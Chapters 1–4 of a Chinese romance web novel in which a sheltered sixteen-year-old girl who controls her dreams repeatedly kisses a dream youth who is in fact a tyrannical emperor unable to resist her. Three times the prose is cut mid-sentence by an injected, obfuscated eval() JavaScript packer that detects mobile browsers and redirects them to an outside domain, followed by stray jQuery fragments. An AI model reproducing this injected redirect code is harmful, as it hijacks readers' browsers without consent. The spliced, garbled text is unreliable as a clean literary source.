《暴君夜夜入我梦》
1. 亲吻
方寄瑶又做梦了。
梦里她正在看父母下棋。两人你来我往,搏杀精彩。
还未分出胜负,忽听丫鬟双喜的声音在耳畔响起:“姑娘,快醒醒。老太爷让你到他书房去一趟。”
面前的父母忽然消失不见,方寄瑶睫羽轻颤,缓缓睁开了眼睛:“你说谁?老太爷找我?”
双喜口中的老太爷是寄瑶的祖父,官拜礼部尚书。公务繁忙,平时难得一见。怎么突然想起要见她?还要她去书房?
“是呢,说让你赶快过去。”双喜忙道。
她知道二姑娘有午睡的习惯,平日从不打扰。今天实在是事出有因。
方寄瑶也很清楚这一点。她顾不得醒神,匆匆穿衣。想到刚才被打断的梦,心里暗觉可惜。
不过没关系,她从小就能控制自己的梦,晚间梦见爹娘,再续上也就是了。
当下最要紧的是去见祖父,不能让他久等。
迅速收拾妥当,方寄瑶也不费神梳妆,只简单绾了一下发髻,就往书房行去。
三月里,春光明媚。
约莫过了一刻钟,方寄瑶才行至书房门口。
定一定神,她抬手叩门。
“进来。”祖父的声音在书房里响起。
方寄瑶深吸一口气,推门而入。
“孙女见过祖父。”这是她第一次进祖父的书房,不免有些紧张。
方尚书正在低头写字,待最后一笔落定,他才抬眸看向孙女。
昔日的女童如今已出落得亭亭玉立。两弯细眉不描而黛,一双杏眸含烟带露。身如杨柳,颜若芙蕖。她站在那里,脸上几分恭谨,几分不安。
看见她,方尚书不由想起早逝的次子。
四个儿子中,老二最像他。不到弱冠就高中探花。当时“父子双探花”一度成为京中美谈。可惜,最像他的孩子偏偏不长寿。
这些年方尚书忙于政务,对老二留下的女儿关注不多。只依稀记得她温柔娴静,不爱说话。原来不知不觉间,她已经这样大了。
放下笔,方尚书态度和善:“寄瑶是吧?你今年多大了?”
“回祖父,孙女今年十六岁。”
“十六,十六……”方尚书低低地重复了两遍。
寄瑶有点懵,不知道该如何应对,就只腼腆一笑。
方尚书收起心中杂念,指一指身后的四折屏风:“你去站到屏风后面,等会儿认真看,不要出来,也别出声。”
寄瑶不解其意,但仍点一点头,依言照办。
方尚书爱好风雅,书房布置得也雅致。那四折刺绣屏风将书房分隔开来,却不能完全隔绝视线。
寄瑶老老实实地站在屏风后,一动不动。
过不多久,有人进来了。
隔着屏风的缝隙,方寄瑶看见了那个年轻男子。
来者态度恭敬,似乎是来请教文章的。
方尚书指点几句后,这人告辞离去。
过得一会儿,又有一人进来。
这次进来的年纪稍大,听其言辞,似乎是祖父的下属,来回禀工作。
他也没待太久,约莫一刻钟后,就离开了。
之后,又一人进来。
……
方寄瑶心里清晰地浮现出一个猜测,头皮不由一阵发麻,心脏也砰砰直跳。
忽听祖父开口:“寄瑶,出来吧。”
方寄瑶稳了稳心神,从屏风后转出,垂手而立:“祖父。”
“方才那三个人,你觉得怎么样?”方尚书温声询问。
寄瑶只装作不懂,忖度着回答:“公务上的事情,我不明白。不过他们既能出入祖父的书房,想必有可取之处。”
方尚书皱眉,直接道:“我是问,你想选他们三人当中的哪个做夫婿。”
寄瑶脸颊一红,心想,果然没猜错。话本子里的隔屏风选婿,竟让她给遇上了。
可这让她怎么回答呢?
见孙女迟迟不答,方尚书一脸慈爱,出声鼓励:“心里想什么,只管大胆说出来就是。祖父自会为你做主。”
回想着方才那三人的模样,寄瑶犹豫半晌,才小声问:“有没有好看一点的?”
“什么?”方尚书微愕。
寄瑶只当自己声音太小,就硬着头皮,稍稍提高了一点声音:“有没有好看一点的?”
方尚书眯了眯眼睛:“什么意思?这三人你都看不上?”
他在朝为官多年,久居高位,板着脸时不怒自威。
寄瑶有点害怕,但还是咬一咬牙,动作极轻点了点头。
方才那三个人,一个皮肤黝黑,一个年纪颇大,一个虽容貌不错,但个子偏矮。寄瑶一想到要和他们当中的某个人过一辈子,就心生抵触。
她幼失父母,在尚书府一向安静乖巧,极少表达自己的想法。也只在梦里随心所欲。可事关终身,没办法只能大着胆子豁出去了。
方尚书面色微沉,轻叱道:“肤浅!女子嫁人,一看品行,二看家风,三看前程。一个男人,长得再好看有什么用?”
再说,他选的这三人虽不算俊美,但也有中人之姿。
寄瑶吓了一跳,连忙垂下脑袋。
她不大服气:谁说长得好看没用的?祖父当年殿试,被钦点探花,不就是因为相貌好、风仪佳么?再说,祖父让她站在屏风后,就这么一小会儿时间,不看相貌风度看什么呢?
但这话她只敢在心里想想,不敢直接说出来。
倒是方尚书的视线在孙女身上停留了一会儿后,忽的叹一口气。
他今年六十二岁,膝下共四子一女,俱是原配夫人刘氏所出。他们成婚早,孙辈中较长的几个,也到了谈婚论嫁的年纪。
前几日,有人向三房的知瑶提亲。方尚书猛然想起二房的寄瑶来。
在他的一众孙女里,寄瑶排行第二,比知瑶还大了一些。但因为父亲早逝,母亲失踪,婚姻大事无人张罗,只能由他这个做祖父的操心。
只是,虽然都是他的孙女,平时在尚书府一样的吃穿用度。但真到了议亲的时候,就显出差别了。
父母不在,又无亲兄弟扶持,终究是差了一重。
寄瑶的婚事想要和堂姐妹的差不多,只怕有点难。
方尚书略一思忖,在为寄瑶选婿时,着重看其品行、家风、前程。至于相貌,在他看来不那么重要。只要人不丑、能看过去就行,也不需要真的貌比潘安。
谁知寄瑶不这么想。
这个孙女竟和她爹一样,就爱美人,还眼光极高。
——当初她爹就是这般,放着名门闺秀不娶,非要出身平平的林氏。
思及旧事,方尚书心情复杂,又是一声叹息。
听见祖父叹气,寄瑶愈发不安,下意识抬眸。
两人目光交汇,看见孙女那双蕴着怯意的、波光粼粼的眼睛,方尚书恍惚了一瞬,终是心中一软。
方家的孩子都长得好看。寄瑶容貌集父母所长,更是他所有孙女中最出挑的那一个。虽说老实胆小一些,可单看外表,也的确与俊秀郎君更般配。
罢了。
老二只留下了这一点骨血,婚事上就如她所愿吧。既然这三个人,她都不满意,那他再留心就是了。
她才十六岁,像他们这样的人家,姑娘成婚都晚。再挑也完全来得及。
尽管已这般打定主意,但方尚书不愿意助长孙女“重色”的毛病。是以也不说自己的具体想法,只皱眉道:“好了,你的心思我知道了,先下去吧。”
“祖父——”寄瑶不大放心。可看祖父已又低头忙碌,她只得福一福身,“孙女告退。”
离开书房之后,她仍在回想方才之事。
祖父说已经知道她的心思,应该不会在那三人当中选
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077396|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了吧?
寄瑶吁一口气。
回到海棠院,她像往常一样打棋谱,但屡屡走神,无法沉浸其中。
她索性去做别的。可不管是看书,还是写字,总有点心不在焉。
寄瑶心里清楚,她今天反常,大概是因为祖父选婿一事。
或许她抵触那三人,不仅仅是不满他们的外貌,也缘于她内心深处对婚后未知生活的恐惧。
唉,人要是能一直像梦里那样就好了。
……
不知不觉间,天黑了下来。
用过晚膳后,寄瑶快速洗漱,便去就寝。
一天十二个时辰,她最喜欢做的事情就是睡觉。
床帐放下,形成一小方天地。
幽暗,静谧。
寄瑶双目紧闭,很快睡着。
随后,又堕入梦乡。
和往常一样,没多久,寄瑶就意识到自己在做梦。
——她每次做梦,一开始总光怪陆离。须得等她反应过来后,才能自由控制梦境。
这回也不例外。梦境初时,她行走在一个全然陌生的地方。
飞檐斗拱,红墙黛瓦,像是寺庙,又像是宫殿。
地上赤红一片,空气中弥漫着浓浓的血腥气。
显然是个噩梦。
寄瑶兴趣不大,还是回家吧,或许能继续中午没做完的那个梦呢。
然而还没等她行动,一个手提长剑的少年就骤然闯入了她的视线。
这少年不过十七八岁,容貌生得极好。丹凤眼,鸦羽睫,眉骨高耸,鼻梁挺直。虽肤白如玉,但仍有一种锋利的、咄咄逼人的俊美。
寄瑶心头一跳,过得数息才注意到,他手上长剑的剑尖正在向下滴血。
他是遇上匪患了吗?
耳畔隐约传来不远处杂乱的声响。似乎是有人追过来了。
少年手腕一动,提剑欲走。
鬼使神差的,寄瑶拉住了少年的手。
触手微凉,心脏也跟着一跳。
在寄瑶的梦里,她就是无所不能的神。心之所想,便能成功。于是下一瞬,她就拉着他瞬移到了海棠院。
院中的海棠树在她的梦里被换成了一片桃林。
桃花灼灼,目光所及之处皆是粉红。
寄瑶认真打量眼前的少年。
天,怎么能有人长得这般合她的心意!
这眉眼、这身段、这年纪、这气质……
不愧是她的梦。
寄瑶很笃定,此前她从未见过此人。多半是她自己幻想出来的。
——这也不奇怪,做梦嘛,总是天马行空,却又诡异地反映内心深处的想法。她不是一直梦见爹娘犹在身边吗?
这次可能就是因为祖父白天让她选婿吧。
“你叫什么名字?”寄瑶在梦里问。话一出口,她自己先笑了。
糊涂了,她梦中生造出的人,哪来的名字?她还没来得及给他取呢。
果然,依着她心中所想,少年动了动唇,却没有发出任何声音。
寄瑶的视线落在了少年唇上。
唇形优美,色泽红润。
寄瑶心中一动,脑海里模模糊糊闪过一个念头:也不知道亲上去是什么感觉?
这个突然冒出来的想法令她脸热的同时,又莫名地有些兴奋。
可以的吧?反正这只是她的梦,他不会拒绝,也不会有人知道。
仅仅犹豫了两息,寄瑶就凑过去,有些笨拙地亲上了那两片唇。
凉凉的,软软的,和她想象中差不多。
寄瑶虽然在梦中无所顾忌,可说到底也只是个十六岁的闺阁少女,现实中连外姓男子都没见过几个。
做出这种孟浪举动后,她大羞,硬生生结束梦境,让自己醒了过来。
与此同时,幽深宫殿中,年轻的天子猛地睁开了眼睛。
2. 控梦
深夜,紫宸宫。
雕着祥云瑞鹤纹的错金香炉静静伫立,一支安息香还未燃尽。青烟袅袅,整个内殿都充盈着一股淡淡的香甜气息。
值夜的太监常福一个哈欠接一个哈欠。
这是他被调到紫宸宫后,第二次单独值夜。他强忍着倦意,努力让自己保持清醒。
然而不经意地一转头,却见皇帝不知何时竟已坐起了身。
内殿光线黯淡,只留了一盏宫灯。皇帝的面容看不真切,但他周身似乎都笼罩着危险的气息。
常福瞬间睡意全无,激灵灵打了个寒颤,后背也倏地渗出了一层冷汗。
不是他胆小,而是因为当今皇帝素有暴虐之名,是个轻易惹不得的主。
陛下姓秦,讳渊,九岁御极。
他刚登基时,摄政王把持朝政。朝野内外只知道有摄政王而不知道有皇帝。
秦渊隐忍蛰伏了五年,在十四岁那年诛杀摄政王,并以雷霆手段,清理其门生故吏。其手段之狠辣,令人胆寒。
随后,秦渊不顾群臣反对,开展灭佛运动。又重用霍家,发动战争,收复被占数十年的西南失地。同时以“杀贪废庸”之名,在朝中进行大清洗。
一时之间,朝堂人人自危,民间也怨声载道。
听说他还鸩杀胞弟,软禁生母。这些宫闱秘事,常福不大清楚。但他曾亲眼看见过紫宸宫外遍地的鲜血。
吓得常福做了好几夜的噩梦。
听说之前伺候的太监就是犯了忌讳被杀的,死状极惨。
不然常福也不会被调到紫宸宫来。
如今皇帝已到弱冠之龄,因为失眠旧症,时常头痛,性情也越发古怪。
这安息香是太医院新进献的,据说有助眠之效。可看陛下这情形,莫非没用?
不应该啊,内殿值夜的太监都差点睡着呢。
常福勉强稳住心神,正犹豫要不要上前侍奉,却见皇帝抬手,狠狠抹了一下唇,低声咒骂一句:“荒唐!”
咦?什么荒唐?常福稍一迟疑,竟见皇帝起身下床,自行倒了一盏冷茶,饮了两口,又重新躺下。
常福有点摸不着头脑,但很清楚,这个时候他需要保持安静。
于是,他大气也不敢出,蹑手蹑脚退回到值夜的位置。
常福不知道的是,这安息香的确有奇效,对皇帝也有用。
方才,秦渊短暂地睡了一觉。
不但睡着,还做了个奇怪的梦。
梦里是他十七岁那年,遭遇宫变的事情。
但是梦境后面的走向格外诡异。
他居然梦见自己被一个记不清模样的女子拉走并且强行亲吻。
现实中不近女色的他,在梦中居然没有丝毫阻止的能力,明明惊怒交加,却只能配合着任她行事。
真是荒诞又可笑。
偏偏梦里的感觉还格外真实,连唇上柔软的触感和淡淡的幽香都异常清晰。
饮下半盏冷茶后,秦渊阖了阖眼睛,胸中的怒火稍稍散去一些。他虽觉得怪异,但并不把这个梦放在心上。
一个怪梦而已。
不过,方才短暂的休息让秦渊的头痛稍微缓解了一些。时候还早,或许他能再睡一会儿。
……
方尚书府。
海棠院。
寄瑶从梦中醒来。回想方才的梦,她伸手摸一摸发烫的脸颊,又摸一摸嘴唇,心脏几乎要蹦出胸腔。
梦中情形对她而言,有点过于刺激了。
现实中她连男子的手都没摸过呢。
还好她在梦里亲人一事,没旁人知道。
寄瑶将脑袋埋在软枕里,又过得好一会儿,等心里平静些许,才又重新合上眼睛。
可惜没再睡着。
直到天快亮的时候,她才迷迷糊糊打了个盹儿。
夜间没睡好,次日,寄瑶难免有些精神不济。好在这两日女夫子告假,她不用去女学读书。
寄瑶坐在窗前,百无聊赖拿了本棋谱翻看。
丫鬟双喜快步走进来,告诉她:“姑娘,三姑娘定亲了。”
三姑娘知瑶是三房长女,从小长在父母身边,活泼娇美,和寄瑶关系不错。
“定亲?”寄瑶有些意外,这么快吗?
转念一想,三妹妹比她小半岁,定亲好像也不算奇怪。昨日她若从那三人中挑出一个,只怕也要定亲的。
“是啊,听说定的是周翰林家的小儿子。才十九岁呢,就已经中举了。”
寄瑶只轻“嗯”了一声,不好意思问那人长相如何,只问:“这门亲事,三妹妹愿意吗?”
“愿意!怎么不愿意?刚才碰见三姑娘,向她道喜。三姑娘可高兴了。三太太也满意,还给我们赏了钱呢。”
寄瑶点一点头:“那就好。”
“三姑娘定亲是喜事,可是……”双喜笑意收敛,面露担忧之色,“自古长幼有序,如今做妹妹的先定了亲,也不知道外边人听了会不会多想。唉,姑娘什么时候才……”
“我不急。”寄瑶不以为意,打断了双喜的话。
她才十六岁呢,每天生活得也很自在。
双喜犹豫了一下,低声道:“我知道姑娘不急,可终身大事也该上点心。”
“有祖父呢,他会为我做主。”寄瑶随口说道。心里却想,上心?这种事情她能怎么上心?
自己找一个完全合乎心意的夫婿吗?可她每天大门不出二门不迈,又不是像梦里那样无所不能。
想到梦,寄瑶不免又想起昨夜梦中的那个少年,心尖微微一动。
可惜,梦和现实怎么就不能换一换呢?
……
是夜,寄瑶又做梦了。
梦中还是在海棠院。
父母犹在,两人各坐一边,神色认真说要为她张罗亲事,甚至把人都带到了她跟前。
寄瑶抬眸看过去,只见父母找来的男子奇丑无比。她吓得连连摆手:“不行不行,这个不行。”
怎么能比祖父找的那三个还难看?
“这也不行,那也不行。你到底想找个什么样的?”母亲皱眉问道。
“我……”寄瑶心念微动,突然有种强烈的直觉:昨天那个少年就在一棵树后。她要找他那样的。
这么想着,她直接走出厅堂,转到一棵粗壮的桃树后,果真看见了昨夜的那个少年。
……
秦渊觉得诡异。
今夜入睡前,他默许小太监点上了安息香。这香安神静气,让人心内平静许多。
约莫过了两刻钟,他渐渐睡了过去。
又过许久,秦渊进入了梦中。
入目是一片桃林。
秦渊站在一棵桃树下,打扮得有些古怪:墨发高高束起,未加冠。穿一身看不出材质的黑衣,抱剑而立。
不像是他平时的装扮,倒像是……游侠?
“你果真在这里。”少女从树后转出来。她声音轻软,带着明显的喜意,听起来莫名的耳熟。
秦渊心中一动,想起来了。
他在梦里听过这个声音:来自强吻他的那个女子。
昨夜的怪梦居然还有后续?
秦渊心下微惊,转眸看向少女。只见她穿一身鹅黄色衣裙,站在桃树下,清新宜人。观其相貌大约不错。但不知是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077397|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何缘故,一错眼,就记不住她的脸了。
奇怪。
少女近前,伸手轻轻拉一拉他的手臂,笑吟吟道:“你跟我去见我爹娘,好不好?”
因为少时曾无意间目睹过一些画面,秦渊平日从不许女子近前。在宫中,偶尔也有新来的宫女不懂事,差点冲撞。但还没有一个能真正碰到他的。
梦里也一样,见她伸手过来,他心中不喜,下意识想要避开。
偏偏此刻身体不受他控制,“秦渊”非但不闪不避,还点一点头,极好说话的样子:“好。”
他竟然就这样,任由她牵着手往前走!
对此,寄瑶很满意。这是她的梦,梦境由她构建,大致走向也由她控制。她就知道,他不会拒绝她。
梦中的情形,在小细节方面或许有些出入,但大方向肯定跟着她的内心。
一眨眼的功夫,两人出了桃林,来到一个厅堂。
寄瑶的父母端坐上方,看见女儿带了一个男子过来,先是一愣,后是慈爱地询问:“乖宝,这人是谁?”
——这是她记忆中,父母对她的称呼。在梦里也一直不变。
寄瑶松开少年的手,含羞带怯道:“爹,娘,我要找的人就是他啊。”
“他?长得倒是还行。多大了?叫什么名字?家住何处?父母是作何营生的?身上可有功名?”父亲蹙眉,有些挑剔地打量着少年,一叠声询问。
接触到此人的目光后,秦渊就想哂笑。
他九岁登基,除了当时权倾朝野的摄政王,从没有人敢对他这般态度。
不仅如此,平时连直视他的人都几乎没有。
梦里这一家子倒是不怕死。
秦渊心中不快,偏偏控制不了自己。他脸上不但没有丝毫怒色,相反还甚是恭敬的模样,朝这对夫妇拱一拱手:“伯父,伯母。在下……无名。年十八,无父无母。身上尚无功名。”
真是活见鬼了。
他是怎么在梦里说出这番话的?
与他不同的是,寄瑶笑得温柔又羞涩,偶尔偏头看他一眼。
——她不想再费心思为他取名,他干脆就叫无名好了。
“不行不行,他既无父母扶持,又无功名在身,怎么能配得上我们乖宝?”父亲坚决摇头,“这门亲事我不同意。”
母亲附和:“是啊,我也觉得不行。乖宝,你得找个更好的。”
“爹,娘。你们不是说婚姻大事,都听我的吗?”寄瑶有些“不满”,“我觉得,他就是最好的。”
他是她幻想出来的,再没有谁比他更合她的心意。
父母一向疼爱女儿,纵然心中不大乐意,最终还是拗不过她:“行行行,就他了。不过咱们先说好。你和他在一起可以,但他得入赘咱们家。我们只有你这一个女儿,可不舍得你吃苦。”
寄瑶不说话,只偏头看向少年。
秦渊都快气笑了,然而说出口的却是:“多谢伯父伯母不嫌弃,小婿愿意入赘。”
神态恭谨,堪称感激涕零。
“嗯,这还算可以。”
……
秦渊觉得,他可能是被气醒的。
先前他饱受失眠困扰,因严重的睡眠不足,时常头痛难忍。这两日在安息香的作用下,倒是能睡着了,却做这种乱七八糟的怪梦。
清醒后,梦中情形历历在目,仿佛亲身经历过一般。
此时天色犹暗。
内殿只留一盏不甚明亮的宫灯。
错金香炉中,一支安息香快要燃尽。
秦渊的视线在那袅袅青烟上停留了数息,忽然开口:“来人,传太医院院使。”
3. 杀意
张永清半年前刚升任太医院院使,俸禄比先前增多了一倍有余。日子却不如从前轻松。
最明显的,是他身为院使,在宫中值夜的次数日渐增多。
今夜又是他当值。熬了半宿,甚是困倦。
忽有紫宸宫太监前来,说皇帝传召。
张太医一惊,瞬间半点困意不剩,连忙应下:“是,是。”他搓一搓脸,又略带探究地问:“公公,这么晚了,陛下传召,可有说是为什么事?莫不是陛下龙体有恙?”
不会是头疼病犯了吧?
太监不答,只面无表情地看着他。
张太医自知失言,讪讪一笑,也不好再问,匆匆赶到紫宸宫。
此时,数盏宫灯齐亮,照得内殿如同白昼一般。
年轻的皇帝穿一身常服,正在不紧不慢地洗手。
殿内安安静静,唯有轻微的水声,一下又一下,听得人心也跟着一跳一跳。
张太医稳了稳心神,近前施礼:“臣张永清参见陛下。”
秦渊动作微顿,垂眸看一眼自己洗得有些发红的左手,用巾帕随意擦拭了一下,挥手示意太监退下。这才问:“张太医,这安息香是否有古怪?”
皇帝语气平平,听不出喜怒。张太医却是心里一咯噔,香有古怪?莫非有人在香上动了手脚?
他连忙走到香炉跟前,捻起灰烬细细查看,又放到鼻端轻嗅,郑重表示:“陛下明鉴,这香绝对没有问题。”
“哦?是么?”皇帝眼神锐利,“那为什么朕连续两夜用这安息香,连续两夜做怪梦?”
“这……”张太医语塞,过得数息,才悄然松一口气。他当是什么呢?原来只是做怪梦。
既然做梦,那就意味睡着了。能睡着就说明太医院的安息香真的有安神功效。这是好事啊。
但皇帝特意问起,张太医不敢大意,忖度着问:“不知陛下做的是什么怪梦?”
张太医自认这话并无丝毫毛病,可不知道怎么回事,陛下的脸色竟陡然变得极为难看。
皇帝目光冰冷如刀,并不作答。
张太医脑海空白了一瞬,哪还敢再问?他心思急转,连忙自己找补:“这,这,梦者,心之动也。常言道,日有所思,夜有所梦。可能是陛下白天无意间有过某些奇异的想法……”
话没说完,就听皇帝冷笑出声。
秦渊这次是真被气笑了。还日有所思,夜有所梦?难道他会在白天想着去给人做赘婿?
荒谬!
张太医意识到皇帝的反应不太对,立时噤声,垂手而立。
短短数息间,他心头已掠过自己的好几种死法。
秦渊冷眸微眯,也没心情再同他缠歪,直接又问一遍:“这香真的没问题?”
张太医扑通一声跪在地上,恨不得指天立誓:“陛下,臣愿意以全家项上人头担保。这香绝对没有任何问题!”
——在进献给皇帝之前,他们已经做过多次试验。确保万无一失,才敢献上去的。
秦渊的视线在他身上停留良久,也不说信或不信。
但这沉默足以让张太医惊惧。他低垂着脑袋,一颗心提得高高的,身子不由自主地轻颤起来。
万一皇帝体质特殊呢?
万一皇帝不信呢?
秦渊敛眸,只说一句:“退下吧。”
“是……多谢陛下。”张太医如遭大赦,“臣告退。”
走出紫宸宫,他才长出一口气,抬袖擦拭了一下额上的细汗。
还好,还好。张家列祖列宗保佑,陛下并未太为难他。
不过他实在是好奇。皇帝到底做了什么怪梦?
抬头向上看去,只见天边的暗色渐渐褪去,一缕晨光落在了檐上。
天快亮了。
秦渊没有再理会怪梦的事,直接更衣去上早朝。
他每日要忙的事情很多,不可能被一两个怪梦影响太久。
……
卯正左右,寄瑶就起床了。
昨夜睡得不错,她神清气爽,气色极佳。洗漱过后,简单用了早膳,寄瑶便在院中散步消食。
她住的海棠院是父亲生前的住处。院子里有两棵高大的海棠树,现下花开得正艳,一簇簇挂在枝头,绚丽多姿。
不过比起海棠,寄瑶好像更喜欢梦里的那一片桃林。
父亲在世时,她年纪尚小。因为爱吃桃子,父亲曾逗她说将来移走海棠,改种桃树,那样她就有吃不完的桃子。可惜还没到移植的季节,父亲就意外离世了。
没多久,母亲也在出门祭祀时不见踪影。
改种桃树之事自此再无人提及。
但是在梦里就不一样了。梦里她的父亲母亲都在,陪着她长大,也遵循承诺,种了一大片桃树。
在海棠树下站了一会儿,寄瑶驱走心中杂念,回房继续打棋谱。
——女夫子告假未归,今日又不上课。她们可以自由安排时间。
寄瑶素来喜静,下棋是她为数不多的爱好。
早先祖母还在世时,寄瑶时常陪祖母手谈。近几年,几乎都是自己琢磨了。
上个月堂姐回门,赠了寄瑶两本前朝的棋谱。她很喜欢,时常捧着一看就是小半天。
双喜知她爱棋,从不打扰。
这日也是。寄瑶全神贯注,琢磨了半天棋谱,又温习功课,还和归宁的大姐姐一起,去向刚定亲的三妹妹道贺。
不知不觉中,平平无奇的一天就过去了。
晚间沐浴过后,寄瑶换上喜欢的寝衣,躺在松软的床铺上,缓缓闭上眼睛。——这是她一天中最幸福的时刻。
没多久,她就又进入了梦乡。
……
是夜,紫宸宫内。
已经交亥时了,内殿灯火通明。
秦渊刚要安寝,就闻到了安息香的气味。
其香清淡,似有若无。
——他没有特别交代,近身伺候的小太监便再一次在他睡前点了一支。
秦渊瞥了一眼,没多理会,而是默默合上双目。
意识不知道从什么时候起,逐渐变得模糊。鼻端浅浅淡淡的香气也渐渐发生
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077398|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了变化。
不像是安息香,倒像是……桃花!
奇怪,内殿之中,哪里来的桃花?
秦渊一怔,定睛看去,发现自己不知怎么,竟又置身于那一片桃林中。
他心里蓦的一沉。
果然,下一瞬,他就又看见了那个少女。
——虽然记不住她的脸,但秦渊十分确定:就是她。
少女身形袅娜,这次穿了一身浅绿衣裳,发簪上坠着的鹅黄流苏微微晃动,正含笑同他说话:“……会不会嘛?”
连续三夜梦见此人,秦渊心中惊异的同时,早疑窦丛生。他想扼住少女的咽喉,逼问她到底是什么人,使了什么妖法。或是立刻清醒过来,令人查明原因。
但这两样,他一样都没能成功。
二十年来,秦渊从未有过这样的体验。——明明意识清醒,却无法控制自己的行为。明明知道是梦,却依旧困在这个躯壳中不能醒来。
秦渊听见自己回答:“会一点点。”
温柔宠溺,根本不是他平时说话的语气。
寄瑶粲然一笑,双眸晶亮:“那你舞给我看,好不好?”
——她还在继续先前的梦。她幻想出的郎君不但相貌、年纪合她心意,而且温柔体贴,愿意入赘,还能文能武。
总不能她在幻想中,还给自己找个美貌草包吧?要找就找最好的。
寄瑶心血来潮,提出想看郎君在桃林中舞剑。——她内心深处希望他会,那他就一定会。
秦渊并不清楚前情,只不受控制地点一点头,随即“蹭”的一声拔剑出鞘,在桃林舞起剑来。
桃林之中,落英缤纷。
秦渊手里的长剑如同奔走的游龙,雪白的剑光翻飞,一招一式,格外漂亮。他自己也纵横腾挪,姿态潇洒。
寄瑶看得心满意足,时不时地击掌称赞。
真好,她的梦可比现实有意思多了。
她平时待在家里,除了上学,就是下棋,或是和姐妹一起说说话、做做针线。哪能看到这些?
地上的落花越来越多。
秦渊心内的不快也越来越浓。
他少时受制于摄政王,曾跟着心腹侍卫私下悄悄习武,学的全是一击毙命的杀招。何曾有过这般花里胡哨的时候?
而且最后收势之时,他还疾行数步,将剑上的落花献于少女。
有那么一瞬间,秦渊疑心自己这个梦,是他附在了别人身上。
不然怎么会有这等谄媚之举?
可偏偏剑刃清楚地映照出他的面容:的确是他自己,只是要稍稍年轻一两岁。
奇怪。
这梦到底是怎么回事?
“哇!”寄瑶心中欢喜,小心取下剑尖上的那朵完好无损的桃花,近前两步,踮起脚尖,在秦渊脸上“叭”地亲了一口。
淡淡的香气萦绕在鼻端,脸颊湿热的触觉格外明显,秦渊心内杀意陡生。
若是在宫中,这少女早就成了一具尸体。
但此刻,他什么也做不了,只能任由脸颊变得滚烫。
4. 春宵
这是寄瑶第二次在梦里亲吻别人,虽然还有些羞涩,但比起第一次,已经从容自然了许多。
她想了想,抬手将一朵桃花簪在少年发髻上,认真端详片刻,笑道:“好看。”
怪不得前朝流行男子簪花,现下看来,少年清冷的面容与娇艳的花朵形成反差,果真有趣。
可惜桃花比较小,在发间不太容易固定。
少年稍一偏头,那花瓣就滑落下来,堪堪停留在他鼻尖。
寄瑶一怔,下意识伸手想要帮忙拂开。然而匆忙间,她的小指不经意碰触到了少年的唇瓣。
仿佛有一道电流闪过,酥麻的感觉瞬间传至全身。
寄瑶心中一动,不由地想起第一次亲吻的感觉,心里隐隐生出些许期待。
梦境遵循她的内心。
下一瞬,少年便低头,亲上了她的唇。
桃花树下,两人紧紧拥在一起,唇瓣相贴,重重厮磨。
偶尔有桃花打着旋落在他们身上。
虽然是在睡梦中,但寄瑶仍不免双腿发软,脸颊也一阵滚烫。醒来后,她以手扇风,长长地呼一口气。
刺激,刺激,太刺激了。
她得缓一缓。
眼睛睁开又阖上,如此反复多次。寄瑶在黑暗中出神许久才再次入睡。
……
四更天,秦渊醒了过来。
他长睫低垂,清俊的眉眼投下一片阴影。
梦中情形清晰地浮现在脑海。桃林、剑光、拥吻的两人……
偏偏少女的面容模模糊糊记不清。秦渊深吸一口气,才勉强压下了那汹涌的怒意。
第三次了。
他是天子,富有四海,坐拥天下,不想竟在梦里有这番遭际。
他不信所谓的日有所思,夜有所梦。此事多半有古怪。若教他查出幕后黑手是谁,定会让那人死无葬身之地。
“来人!”
值夜的太监一惊,连忙近前:“陛下。”
皇帝直起身,语气沉沉:“备水。”
脸颊和嘴唇似乎还残留着那软软的触觉,他急需清洗一番。
视线掠过错金香炉里刚燃尽的安息香,秦渊继续吩咐:“开窗,通风。”
“是。”
连续三夜做怪梦,还梦见同样的人、能连起来的事。不管是不是安息香的原因。这香,秦渊都不打算再用。
他讨厌梦里那种不能自控、被人作弄的感觉。
对此,寄瑶一无所知。
控梦对她而言,是从小就会的本事,也是专属于她的秘密。
但梦是梦,现实是现实。梦虽精彩,可日子还是要照常过的。
告假数日的女夫子终于归来,女学恢复了上课。寄瑶每天读书、习字,闲暇之余,打棋谱、做功课,生活充实又忙碌。
在大家眼里,她是温柔娴雅的大家闺秀,一直安静乖巧。
只有到了晚间休息的时候,她才在梦里肆意感受另一种人生。
这日,方家的姑太太——即方尚书之女、寄瑶的姑母回门,见过父亲、兄弟之后,她又热情地同嫂子、弟妹以及几个侄女叙话。
姑太太嫁到了赵家,早年随着夫家外放,近几年才回京,时常回娘家走动。对侄子侄女们甚是疼爱。
